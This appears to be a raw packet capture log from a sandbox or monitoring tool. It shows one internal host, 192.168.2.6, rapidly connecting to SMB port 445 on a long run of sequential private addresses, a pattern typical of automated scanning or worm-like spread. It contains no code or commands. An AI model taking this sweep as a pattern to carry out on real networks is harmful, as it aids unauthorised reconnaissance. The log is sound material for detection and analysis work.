Jul 6, 2024 14:11:33.986964941 CEST	445	52117	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:33.986975908 CEST	445	52116	192.168.3.30	192.168.2.6
Jul 6, 2024 14:11:33.987009048 CEST	52116	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:33.987086058 CEST	445	52115	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:33.987539053 CEST	445	52117	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:33.989938974 CEST	445	52119	192.168.3.158	192.168.2.6
Jul 6, 2024 14:11:33.989989042 CEST	52119	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:33.992584944 CEST	52121	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:33.992782116 CEST	445	52115	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:33.997948885 CEST	445	52121	192.168.3.159	192.168.2.6
Jul 6, 2024 14:11:33.998002052 CEST	52121	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:33.998087883 CEST	52121	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:34.004698992 CEST	445	52121	192.168.3.159	192.168.2.6
Jul 6, 2024 14:11:34.004756927 CEST	52121	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:34.007004023 CEST	52122	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:34.007116079 CEST	52123	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:34.007519960 CEST	52125	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:34.008127928 CEST	52124	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:34.008455038 CEST	52127	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:34.013988972 CEST	445	52122	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:34.014000893 CEST	445	52123	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:34.014094114 CEST	52123	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:34.014111042 CEST	52122	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:34.014203072 CEST	52123	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:34.014226913 CEST	52122	445	192.168.2.6	192.168.3.32
Jul 6, 2024 14:11:34.015556097 CEST	445	52125	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:34.015573025 CEST	445	52124	192.168.3.31	192.168.2.6
Jul 6, 2024 14:11:34.015633106 CEST	52124	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:34.015634060 CEST	52125	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:34.015718937 CEST	52125	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:34.022712946 CEST	445	52127	192.168.3.160	192.168.2.6
Jul 6, 2024 14:11:34.022772074 CEST	52127	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:34.022839069 CEST	52127	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:34.023232937 CEST	52128	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:34.023376942 CEST	52129	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:34.024169922 CEST	52130	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:34.026774883 CEST	445	52074	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:34.026783943 CEST	445	52123	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:34.026792049 CEST	445	52122	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:34.026799917 CEST	445	52125	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:34.026834965 CEST	52074	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:34.026865005 CEST	52125	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:34.030437946 CEST	445	52128	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:34.030447960 CEST	445	52129	192.168.3.33	192.168.2.6
Jul 6, 2024 14:11:34.030498028 CEST	445	52130	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:34.031184912 CEST	52128	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:34.031184912 CEST	52128	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:34.032233953 CEST	445	52125	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:34.033866882 CEST	445	52122	192.168.3.32	192.168.2.6
Jul 6, 2024 14:11:34.034264088 CEST	445	52125	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:34.034331083 CEST	445	52124	192.168.3.31	192.168.2.6
Jul 6, 2024 14:11:34.034373045 CEST	52124	445	192.168.2.6	192.168.3.31
Jul 6, 2024 14:11:34.034881115 CEST	445	52127	192.168.3.160	192.168.2.6
Jul 6, 2024 14:11:34.035485029 CEST	52129	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:34.035485983 CEST	52129	445	192.168.2.6	192.168.3.33
Jul 6, 2024 14:11:34.035485983 CEST	52127	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:34.036441088 CEST	52130	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:34.036873102 CEST	445	52128	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:34.037277937 CEST	445	52128	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:34.039952040 CEST	52133	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:34.040472984 CEST	445	52129	192.168.3.33	192.168.2.6
Jul 6, 2024 14:11:34.042187929 CEST	445	52129	192.168.3.33	192.168.2.6
Jul 6, 2024 14:11:34.042416096 CEST	445	52130	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:34.044950008 CEST	445	52133	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:34.045021057 CEST	52133	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:34.047908068 CEST	52130	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:34.047908068 CEST	52130	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:34.050230026 CEST	445	52133	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:34.050282001 CEST	52133	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:34.052994967 CEST	445	52130	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:34.053870916 CEST	52133	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:34.055185080 CEST	52136	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:34.055322886 CEST	52137	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:34.055367947 CEST	52134	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:34.055728912 CEST	52135	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:34.056986094 CEST	52139	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:34.058727980 CEST	445	52133	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:34.060504913 CEST	445	52136	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:34.060559034 CEST	52136	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:34.060636997 CEST	52136	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:34.061105013 CEST	445	52137	192.168.3.34	192.168.2.6
Jul 6, 2024 14:11:34.061165094 CEST	52137	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:34.061233997 CEST	52137	445	192.168.2.6	192.168.3.34
Jul 6, 2024 14:11:34.061402082 CEST	445	52134	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:34.061451912 CEST	52134	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:34.061505079 CEST	52134	445	192.168.2.6	192.168.3.35
Jul 6, 2024 14:11:34.061686993 CEST	445	52135	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:34.061742067 CEST	52135	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:34.062489986 CEST	52135	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:34.064126968 CEST	445	52139	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:34.064213991 CEST	52139	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:34.064259052 CEST	52139	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:34.069911003 CEST	445	52136	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:34.069941998 CEST	445	52137	192.168.3.34	192.168.2.6
Jul 6, 2024 14:11:34.069960117 CEST	445	52134	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:34.070072889 CEST	445	52135	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:34.070744991 CEST	445	52139	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:34.071257114 CEST	445	52136	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:34.071692944 CEST	445	52137	192.168.3.34	192.168.2.6
Jul 6, 2024 14:11:34.071837902 CEST	52142	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:34.071854115 CEST	445	52134	192.168.3.35	192.168.2.6
Jul 6, 2024 14:11:34.072140932 CEST	445	52135	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:34.072235107 CEST	445	52139	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:34.072366953 CEST	52139	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:34.072757006 CEST	52140	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:34.072757959 CEST	52141	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:34.073029041 CEST	52143	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:34.077244997 CEST	445	52142	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:34.077661991 CEST	445	52140	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:34.077714920 CEST	52140	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:34.077805042 CEST	52140	445	192.168.2.6	192.168.3.36
Jul 6, 2024 14:11:34.078150034 CEST	445	52143	192.168.3.164	192.168.2.6
Jul 6, 2024 14:11:34.078180075 CEST	445	52141	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:34.079052925 CEST	52143	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:34.079052925 CEST	52143	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:34.079978943 CEST	52142	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:34.079979897 CEST	52142	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:34.081971884 CEST	52141	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:34.081971884 CEST	52141	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:34.083296061 CEST	445	52140	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:34.083326101 CEST	445	52140	192.168.3.36	192.168.2.6
Jul 6, 2024 14:11:34.084186077 CEST	445	52143	192.168.3.164	192.168.2.6
Jul 6, 2024 14:11:34.084235907 CEST	52143	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:34.086169958 CEST	52146	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:34.086280107 CEST	445	52142	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:34.086669922 CEST	445	52142	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:34.087493896 CEST	445	52141	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:34.087502956 CEST	445	52141	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:34.087557077 CEST	52141	445	192.168.2.6	192.168.3.37
Jul 6, 2024 14:11:34.091263056 CEST	445	52146	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:34.091342926 CEST	52146	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:34.093293905 CEST	445	52141	192.168.3.37	192.168.2.6
Jul 6, 2024 14:11:34.096774101 CEST	445	52146	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:34.099787951 CEST	52146	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:34.101175070 CEST	52146	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:34.101547956 CEST	52148	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:34.106348038 CEST	445	52146	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:34.106585979 CEST	445	52148	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:34.106842041 CEST	52148	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:34.111926079 CEST	445	52148	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:34.112514973 CEST	52148	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:34.116126060 CEST	52148	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:34.119316101 CEST	52151	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:34.120672941 CEST	52149	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:34.121305943 CEST	445	52148	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:34.127679110 CEST	445	52151	192.168.3.167	192.168.2.6
Jul 6, 2024 14:11:34.127738953 CEST	52151	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:34.127821922 CEST	52151	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:34.131928921 CEST	52152	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:34.132055998 CEST	52153	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:34.132332087 CEST	52154	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:34.132478952 CEST	52155	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:34.132570028 CEST	445	52149	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:34.132596016 CEST	52156	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:34.132631063 CEST	52149	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:34.132637978 CEST	52157	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:34.132713079 CEST	52149	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:34.132827044 CEST	52158	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:34.133688927 CEST	52160	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:34.138654947 CEST	445	52151	192.168.3.167	192.168.2.6
Jul 6, 2024 14:11:34.138721943 CEST	52151	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:34.141980886 CEST	445	52152	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:34.142035007 CEST	445	52153	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:34.142193079 CEST	445	52154	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:34.142304897 CEST	445	52155	192.168.3.41	192.168.2.6
Jul 6, 2024 14:11:34.142313957 CEST	445	52156	192.168.3.40	192.168.2.6
Jul 6, 2024 14:11:34.142376900 CEST	52155	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:34.142410040 CEST	445	52157	192.168.3.38	192.168.2.6
Jul 6, 2024 14:11:34.142426014 CEST	52156	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:34.142426014 CEST	52156	445	192.168.2.6	192.168.3.40
Jul 6, 2024 14:11:34.142426014 CEST	52155	445	192.168.2.6	192.168.3.41
Jul 6, 2024 14:11:34.142430067 CEST	445	52149	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:34.142930031 CEST	445	52149	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:34.143872023 CEST	445	52158	192.168.3.39	192.168.2.6
Jul 6, 2024 14:11:34.144470930 CEST	52153	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:34.144470930 CEST	52153	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:34.144470930 CEST	52157	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:34.144470930 CEST	52157	445	192.168.2.6	192.168.3.38
Jul 6, 2024 14:11:34.145509958 CEST	445	52160	192.168.3.168	192.168.2.6
Jul 6, 2024 14:11:34.145589113 CEST	52160	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:34.145679951 CEST	52160	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:34.146364927 CEST	52152	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:34.146364927 CEST	52152	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:34.146364927 CEST	52154	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:34.146364927 CEST	52154	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:34.148704052 CEST	52161	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:34.151451111 CEST	445	52156	192.168.3.40	192.168.2.6
Jul 6, 2024 14:11:34.151460886 CEST	445	52155	192.168.3.41	192.168.2.6
Jul 6, 2024 14:11:34.151593924 CEST	445	52155	192.168.3.41	192.168.2.6
Jul 6, 2024 14:11:34.152427912 CEST	445	52153	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:34.152473927 CEST	445	52157	192.168.3.38	192.168.2.6
Jul 6, 2024 14:11:34.153474092 CEST	445	52153	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:34.153495073 CEST	445	52157	192.168.3.38	192.168.2.6
Jul 6, 2024 14:11:34.153960943 CEST	52163	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:34.154314995 CEST	445	52160	192.168.3.168	192.168.2.6
Jul 6, 2024 14:11:34.155293941 CEST	445	52161	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:34.156136036 CEST	52160	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:34.157712936 CEST	52161	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:34.157712936 CEST	52161	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:34.159235001 CEST	445	52163	192.168.3.169	192.168.2.6
Jul 6, 2024 14:11:34.161096096 CEST	52163	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:34.161096096 CEST	52163	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:34.163355112 CEST	52158	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:34.163355112 CEST	52158	445	192.168.2.6	192.168.3.39
Jul 6, 2024 14:11:34.163377047 CEST	52164	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:34.165807009 CEST	52165	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:34.165807009 CEST	52167	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:34.178762913 CEST	52168	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:34.178879976 CEST	52169	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:34.179764986 CEST	445	52161	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:34.179779053 CEST	445	52161	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:34.180773020 CEST	445	52152	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:34.180780888 CEST	445	52154	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:34.180795908 CEST	52171	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:34.180828094 CEST	445	52164	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:34.180927992 CEST	52164	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:34.181772947 CEST	52164	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:34.182157993 CEST	445	52158	192.168.3.39	192.168.2.6
Jul 6, 2024 14:11:34.182184935 CEST	445	52165	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:34.182194948 CEST	445	52167	192.168.3.170	192.168.2.6
Jul 6, 2024 14:11:34.182255030 CEST	52165	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:34.182329893 CEST	52167	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:34.182351112 CEST	52167	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:34.182351112 CEST	52165	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:34.182588100 CEST	445	52154	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:34.183851957 CEST	445	52163	192.168.3.169	192.168.2.6
Jul 6, 2024 14:11:34.183954000 CEST	52163	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:34.185095072 CEST	445	52158	192.168.3.39	192.168.2.6
Jul 6, 2024 14:11:34.196147919 CEST	52173	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:34.197921991 CEST	445	52168	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:34.197932005 CEST	445	52169	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:34.197942019 CEST	445	52171	192.168.3.171	192.168.2.6
Jul 6, 2024 14:11:34.197952986 CEST	445	52164	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:34.198004007 CEST	52168	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:34.198084116 CEST	52168	445	192.168.2.6	192.168.3.43
Jul 6, 2024 14:11:34.198205948 CEST	445	52165	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:34.198499918 CEST	445	52164	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:34.198678017 CEST	445	52165	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:34.198712111 CEST	445	52167	192.168.3.170	192.168.2.6
Jul 6, 2024 14:11:34.200577974 CEST	52169	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:34.200577974 CEST	52171	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:34.200577974 CEST	52169	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:34.200577974 CEST	52171	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:34.200776100 CEST	52167	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:34.201108932 CEST	445	52173	192.168.3.172	192.168.2.6
Jul 6, 2024 14:11:34.203520060 CEST	445	52168	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:34.203625917 CEST	445	52168	192.168.3.43	192.168.2.6
Jul 6, 2024 14:11:34.204441071 CEST	52173	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:34.204441071 CEST	52173	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:34.205605030 CEST	445	52169	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:34.205658913 CEST	445	52169	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:34.206022024 CEST	445	52171	192.168.3.171	192.168.2.6
Jul 6, 2024 14:11:34.209846020 CEST	445	52173	192.168.3.172	192.168.2.6
Jul 6, 2024 14:11:34.210326910 CEST	52173	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:34.211420059 CEST	52171	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:34.211420059 CEST	52174	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:34.211420059 CEST	52175	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:34.211776972 CEST	52176	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:34.221147060 CEST	52177	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:34.221640110 CEST	52179	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:34.221906900 CEST	445	52174	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:34.221916914 CEST	445	52175	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:34.223432064 CEST	445	52176	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:34.223486900 CEST	52176	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:34.223578930 CEST	52176	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:34.226258039 CEST	52180	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:34.226396084 CEST	52182	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:34.228151083 CEST	52183	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:34.228338957 CEST	445	52177	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:34.228529930 CEST	52181	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:34.228529930 CEST	52177	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:34.228529930 CEST	52177	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:34.228590965 CEST	445	52176	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:34.228646040 CEST	52176	445	192.168.2.6	192.168.3.44
Jul 6, 2024 14:11:34.228816032 CEST	445	52176	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:34.231352091 CEST	445	52180	192.168.3.47	192.168.2.6
Jul 6, 2024 14:11:34.231364012 CEST	445	52182	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:34.231415033 CEST	52180	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:34.231472015 CEST	52182	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:34.231472015 CEST	52180	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:34.231515884 CEST	52182	445	192.168.2.6	192.168.3.45
Jul 6, 2024 14:11:34.231636047 CEST	52174	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:34.231636047 CEST	52175	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:34.231636047 CEST	52175	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:34.231636047 CEST	52174	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:34.231636047 CEST	52185	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:34.233134985 CEST	445	52183	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:34.233213902 CEST	52183	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:34.233414888 CEST	52183	445	192.168.2.6	192.168.3.46
Jul 6, 2024 14:11:34.233602047 CEST	445	52176	192.168.3.44	192.168.2.6
Jul 6, 2024 14:11:34.235384941 CEST	445	52181	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:34.236268044 CEST	445	52180	192.168.3.47	192.168.2.6
Jul 6, 2024 14:11:34.236476898 CEST	445	52182	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:34.236587048 CEST	445	52179	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:34.237047911 CEST	52181	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:34.237065077 CEST	445	52175	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:34.237317085 CEST	445	52174	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:34.237370968 CEST	445	52180	192.168.3.47	192.168.2.6
Jul 6, 2024 14:11:34.237377882 CEST	445	52182	192.168.3.45	192.168.2.6
Jul 6, 2024 14:11:34.237514973 CEST	445	52185	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:34.237690926 CEST	445	52174	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:34.237726927 CEST	52179	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:34.237726927 CEST	52185	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:34.238121986 CEST	445	52175	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:34.238240957 CEST	445	52183	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:34.238435030 CEST	445	52183	192.168.3.46	192.168.2.6
Jul 6, 2024 14:11:34.242322922 CEST	52187	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:34.244621038 CEST	445	52177	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:34.248624086 CEST	52181	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:34.248624086 CEST	52186	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:34.249316931 CEST	445	52187	192.168.3.48	192.168.2.6
Jul 6, 2024 14:11:34.249322891 CEST	52185	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:34.249322891 CEST	52179	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:34.249322891 CEST	52189	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:34.251718998 CEST	445	52179	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:34.251728058 CEST	445	52185	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:34.253524065 CEST	445	52181	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:34.253807068 CEST	445	52181	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:34.255043030 CEST	445	52186	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:34.256843090 CEST	52186	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:34.256843090 CEST	52186	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:34.257344007 CEST	52187	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:34.257344007 CEST	52187	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:34.257597923 CEST	52191	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:34.258936882 CEST	52190	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:34.258936882 CEST	52192	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:34.262079954 CEST	52179	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:34.262079954 CEST	52185	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:34.263751984 CEST	445	52190	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:34.264269114 CEST	445	52192	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:34.264779091 CEST	445	52186	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:34.265489101 CEST	445	52186	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:34.266577005 CEST	445	52191	192.168.1.147	192.168.2.6
